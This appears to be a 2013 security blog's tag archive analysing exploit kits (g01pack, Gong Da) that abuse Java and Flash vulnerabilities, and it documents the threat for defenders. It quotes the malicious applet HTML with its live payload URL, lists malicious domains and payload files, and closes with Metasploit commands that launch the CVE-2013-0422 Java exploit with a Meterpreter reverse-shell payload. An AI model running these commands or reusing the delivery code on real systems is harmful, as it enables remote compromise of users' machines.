Tag Archives: Exploit Kit

When a Signed Java JAR file is not Proof of Trust

Various, , , ,

Today, Malware Domain List, reported strange behaviours regarding a Java app executed with the latest version of Java 6.

As you can observe, VirusTotal didn’t find something wrong (0/46) regarding the Java app, but after few hours, some analysis and some discussions on Twitter, it appear that this file is a malicious file (3/46) dropping malwares and that Oracle still need to enhance the security level of Java.

This “innocent” Java app was found on “hxxp://dict.tu-chemnitz.de/“, a german online dictionary infected by g01pack Exploit Kit.

Call to the Java app was done through:

</pre></pre>
<applet name="Java™ <span class=">ClearWeb Security Update" code="app.applet.class" archive="http://oracle.com.java.security.jre8.update.win32.release.for.datrynto.dynalias.com/css/pkcw.mp3"></applet>
<pre>
<pre>
<param name="pert" value="36820"><param name="conchs" value="y"><param name="rss" value="rbE1I7EWurI7bh#b=uNWdJN==Jm7cmu6:6qI4Rwtx24cAxiWI=4=3%=x34cQeQQemZx">
</applet>

As you can see, the Java app try to make the end-user believe that this is a “ClearWeb Security Update” with a URL also trying to imitate a pseudo like Oracle Java JRE8 (lol) update.

java-signed-applet1

Also you can see that the publisher is “CLEARESULT CONSULTING INC.“, a real firm located in Texas USA. It also seem that this applet is a “trusted” signed applet. If the applet were signed by an “non-trusted” or “self-signed” certificate the dialog box would have been like the following one.

warning-supermario-3d-nintendo

If you click on the “More Information” link of the dialog box, you will have another messages confirming you that you can trust this Java applet (The digital signature was generated with a trusted certificate).

java-signed-applet2

And by clicking on “Certificate Details“, you will have associated information’s.

java-signed-applet3

You maybe remember that Oracle has introduce “Security Levels” since Java SE 7 Update 10 in December 2012. Five levels of security are supported, plus a custom security level settings. This feature can be set in the Java Control Panel or (on Microsoft Windows platform only) using a command-line install argument.

The five levels are:

  • Custom: You can customize all the security settings based on you’re needs.
  • Low: Most unsigned Java apps in the browser will run without prompting unless they request access to a specific old version or to protected resources on the system.
  • Medium: Unsigned Java apps in the browser will run without prompting only if the Java version is considered secure. You will be prompted if an unsigned app requests to run on an old version of Java.
  • High: Default Security Level. You will be prompted before any unsigned Java app runs in the browser.
  • Very High: You will be prompted before any Java app runs in the browser. If your version of Java is insecure, unsigned apps will not run.

As you can see only unsigned Java app are considered as non-secure, and signed Java app are blocked only with the “Very High” security level. So with the default security level, aka “High” a signed Java app is executed additional advises.

If you read Oracle documentation “Understanding Signing and Verification“, you will find nice definitions, like:

You digitally sign a file for the same reason you might sign a paper document with pen and ink — to let readers know that you wrote the document, or at least that the document has your approval. When you sign a letter, for example, everyone who recognizes your signature can confirm that you wrote the letter. Similarly when you digitally sign a file, anyone who “recognizes” your digital signature knows that the file came from you. The process of “recognizing” electronic signatures is called verification.

or

 The ability to sign and verify files is an important part of the Java platform’s security architecture. Security is controlled by the security policy that’s in force at runtime. You can configure the policy to grant security privileges to applets and to applications. For example, you could grant permission to an applet to perform normally forbidden operations such as reading and writing local files or running local executable programs. If you have downloaded some code that’s signed by a trusted entity, you can use that fact as a criterion in deciding which security permissions to assign to the code.

So you have understood, if a Java app is signed with your name, it is the proof that you have sign this Java app, and this Java app will run on your system with special privileges… But, but, if somebody has steal your private key that allow you to sign you’re Java app, can the users still trust the Java app ?

The Java app discovered by Malware Domain List was signed with a stollen private key… Worst, the certificate associated to the applet was revoked by GoDaddy the Dec 7 17:46:22 2012 GMT (thanks to @Jindroush). But signing and verifying files is so an important part of the Java platform’s security architecture that Jarsigner validates the file despite the certificate is revoked since a while…

The cause to this nightmare are very simple and I agree with Jindroush #WTF #Java !

By default, certificate revocation list check is set to “OFF” and signed Java app are authorized to have privileged accesses…

So conclusion, signed Java app are not a proof of trust if you don’t check revocation lists ….

Gong Da / Gondad Exploit Pack Add Flash CVE-2013-0634 Support

Various, , , , , , , , , , , , , , , , ,

If you are working in computer security and still don’t have heard about the latest Adobe Flash 0days, aka CVE-2013-0633 and CVE-2013-0634, then you should change of job ! These vulnerabilities were found exploited in targeted attacks through spear phishing email messages targeting several industries including the aerospace one.

One of the e-email attached Word document was using the 2013 IEEE Aerospace Conference schedule, and another reported sample was related to online payroll system of ADP US company, to exploit CVE-2013-0633. I wrote a complete blog post regarding this campaign 2 weeks ago.

Adobe fixed the vulnerabilities in APSB13-04 the 7 February, but the vulnerabilities were not found massively exploited in Exploit Kits. Also there was a confusion,  by anti-virus vendors and security researchers, regarding CVE-2013-0633 and CVE-2013-0634 detection. But as mentioned in Adobe APSB13-04 CVE-2013-0633 was only exploited by been embedded in Word documents and CVE-2013-0634 was exploited through HTML web pages and by been embedded in Word documents.

So as nobody as seen CVE-2013-0633 working outside a Word document, I will suppose that the vulnerability I discovered exploited in Gong Da exploit kit is potentially a fork of CVE-2013-0633 or could be CVE-2013-0634. Colleagues, you are welcome for comments 🙂

Here is the new code in Gong Da exploit kit.

Capture d’écran 2013-02-25 à 23.29.30

If you take a look at the ActionScript of “myrF03.swf” (506fe8f82ea151959c5160bc40da25b5) you will see some similarities with CVE-2013-0633, like the “ByteArrayAsset” mentioned by MalwareMustDie, or the well-known “LadyBoyle” function.

Capture d’écran 2013-02-26 à 00.10.49

Capture d’écran 2013-02-26 à 00.11.03

This new version was discovered on “hxxp://www.jhtyhtrsgr.com/yymex/index.html” a web site how is actually still online.

Capture d’écran 2013-02-25 à 23.29.04

“jhtyhtrsgr.com” is hosted on 69.197.61.29, in US and this domain name was created the 22 Feb 2013 with registration informations located in China and the following contact “jing yan ([email protected]) – GuangMing yanjing“.

The “index.html” file containing JavaScript code obfuscated by “JSXX VIP JS Obfuscator“, but traditional traces if this obfuscator are no more available.

After de-obfuscation of the “index.html” file you can see that Gong Da Pack has involve to the following diagram.

Gong Da EK 1.4 - 2

Here under some information s regarding the different files:

  • vQSopE2.jpg (aka CVE-2011-3544) : 10/46 on VirusTotal.com
  • ulxzBc7.jpg (aka CVE-2012-0507) : 11/45 on VirusTotal.com
  • MQnA3.jpg (aka CVE-2012-1723) : 18/46 on VirusTotal.com
  • eATBNfg1.jpg (aka CVE-2012-4681) : 29/46 on VirusTotal.com
  • tkPfaMz7.jpg (aka CVE-2012-5076) : 14/46 on VirusTotal.com
  • iOiezo6.jpg (aka CVE-2013-0422): 19/46 on VirusTotal.com
  • YPVTz8.html (aka CVE-2012-1889): 14/46 on VirusTotal.com
  • vQSopE2.html (aka CVE-2012-1889): 12/46 on VirusTotal.com
  • myrFO3.swf (aka a fork of CVE-2013-0633 CVE-2013-0634): 8/46 on VirusTotal.com

Here under a demonstration video of CVE-2013-0633 CVE-2013-0634 without been embeded in a Word document.

Updates:

After investigation from @unixfreaxjp, it seem that the exploited vulnerability is CVE-2013-0634 and not CVE-2013-0633.

Gong Da / Gondad Exploit Pack Add Java CVE-2013-0422 support

Reverse Engineering, , , , , , , , , , , , , , , , ,

If you are working in computer security and still don’t have hear about the latest Oracle Java 0day, aka CVE-2013-0422, then you should change you job ! This last Oracle Java 0day was discovered massively exploited in exploit kits by @kafeine the 10th January. Other exploit kits have quickly add support of this new vulnerability, like Gong Da exploit kit.

Gond-Da-CVE-2013-0422-2

This new version was discovered on “hxxp://syspio.com/data/m.html” a web site how is actually still online.

gond-da-exploit-kit-CVE-2013-0422-1

“syspio.com” is hosted on 222.239.252.166, in KR and this domain name seem to be associated with a legit compromised web site.

The “m.html” file containing JavaScript code obfuscated by “JSXX VIP JS Obfuscator“, but traditional traces if this obfuscator are no more available.

After de-obfuscation of the “m.html” file you can see that Gong Da Pack has involve to the following diagram.

Gong Da EK - 1.3

Here under some information s regarding the different files:

  • EnKi2.jpg (aka CVE-2011-3544) : 8/46 on VirusTotal.com
  • cLxmGk3.jpg (aka CVE-2012-0507) : 11/46 on VirusTotal.com
  • OLluRM4.jpg (aka CVE-2012-1723) : 20/46 on VirusTotal.com
  • GPUrKz2.jpg (aka CVE-2012-4681) : 29/45 on VirusTotal.com
  • PBLO5.jpg (aka CVE-2012-5076) : 12/46 on VirusTotal.com
  • Nuwm7.jpg (aka CVE-2013-0422): 6/46 on VirusTotal.com

Java Applet JMX 0day Remote Code Execution Metasploit Demo

Exploits, Metasploit, , , , ,

Timeline :

Vulnerability discovered exploited in the wild by kafeine the 2013-01-10
Metasploit PoC provided the 2013-01-10

PoC provided by :

Unknown
egypt
sinn3r
juan vazquez

Reference(s) :

CVE-2013-0422
OSVDB-89059
0 day 1.7u10 spotted in the Wild – Disable Java Plugin NOW !

Affected version(s) :

Oracle Java SE 7 Update 10 and bellow

Tested on Windows 8 Pro with :

Internet Explorer 10
Oracle Java SE 7 Update 10

Description :

This module abuses the JMX classes from a Java Applet to run arbitrary Java code outside of the sandbox as exploited in the wild in January of 2013. The vulnerability affects Java version 7u10 and earlier.

Commands :

use exploit/windows/browser/ie_cbutton_uaf
use exploit/multi/browser/java_jre17_jmxbean
set SRVHOST 192.168.178.26
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.26
exploit

sysinfo
getuid